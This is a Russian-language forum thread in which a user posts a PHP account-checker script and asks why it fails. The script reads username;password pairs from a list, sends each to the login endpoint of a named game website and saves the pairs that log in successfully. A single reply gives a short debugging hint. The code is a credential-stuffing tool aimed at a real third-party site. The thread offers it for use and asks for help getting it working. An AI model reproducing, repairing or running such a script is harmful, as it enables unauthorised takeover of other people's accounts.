[PHP] Брут login:pass

Discussion in 'PHP' started by Strelok7788, 22 Jul 2013.

  1. Strelok7788

    Strelok7788 New Member

    Joined:
    20 Jul 2013
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Всем привет. У меня проблема с брутом.
    Вот код:
    PHP:
    <?php
    $handle 
    = fopen("source.txt", "r"); //вместо source.txt вставляем имя файла с аккаунтами
    while (!feof($handle)) //пока не кончился файл
    { 
        
    $buffer = fgets($handle, 1024); // читаем построчно
        
    list($username, $password) = explode(';', $buffer); // вместо : вставляем разделитель мыла и пароля в файле с акками
    $post="username=$username&password=$password";
     
    $ch = curl_init(); 
    /*сформировали строку пост данных состоящую из пар поле=>значение разделенных амперсандом (при необходимости строку надо url-кодировать)*/
     
    curl_setopt($ch, CURLOPT_URL, "http://shaiya2dream.net/webmall_ep7/index.php?validate=login"); //адрес на который шлем запрос (выдираем значение из action нашей формы)
     
    curl_setopt($ch, CURLOPT_HEADER, 1); //дальше мы все уже видели
     
    curl_setopt($ch, CURLOPT_USERAGENT, $ua);
     
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
     
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
     
    curl_setopt($ch, CURLOPT_POST, 1); //говорим что у нас есть POST данные для сервера
     
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post); //указываем на наши POST данные
        
    $result = curl_exec($ch);
        
    curl_close($ch); 
        if (
    strstr($result, 'Выход')) //вставляем сюда текст который присутствует на авторизованной странице но отсутствует на главной
        
    {
                    
    $h=fopen("D:\good.txt", "a"); // good.txt - файл с валидными акками
             
    fwrite($h, $username.";".$password);
             
    fclose($h);
               }
               else 
               {
                    
    $h=fopen("D:\bad.txt", "a"); // bad.txt - файл с невалидными акками
             
    fwrite($h, $username.";".$password);
             
    fclose($h);
               }
    }
    ?>
    Работает, но почему то все аккаунты считает неверными, хотя те которые подходят в списке есть. Кто знает в чём проблема помогите пожалуйста.
     
  2. InDuStRieS

    InDuStRieS Banned

    Joined:
    15 Mar 2009
    Messages:
    526
    Likes Received:
    253
    Reputations:
    32
    надо сравнивать ответ сервера.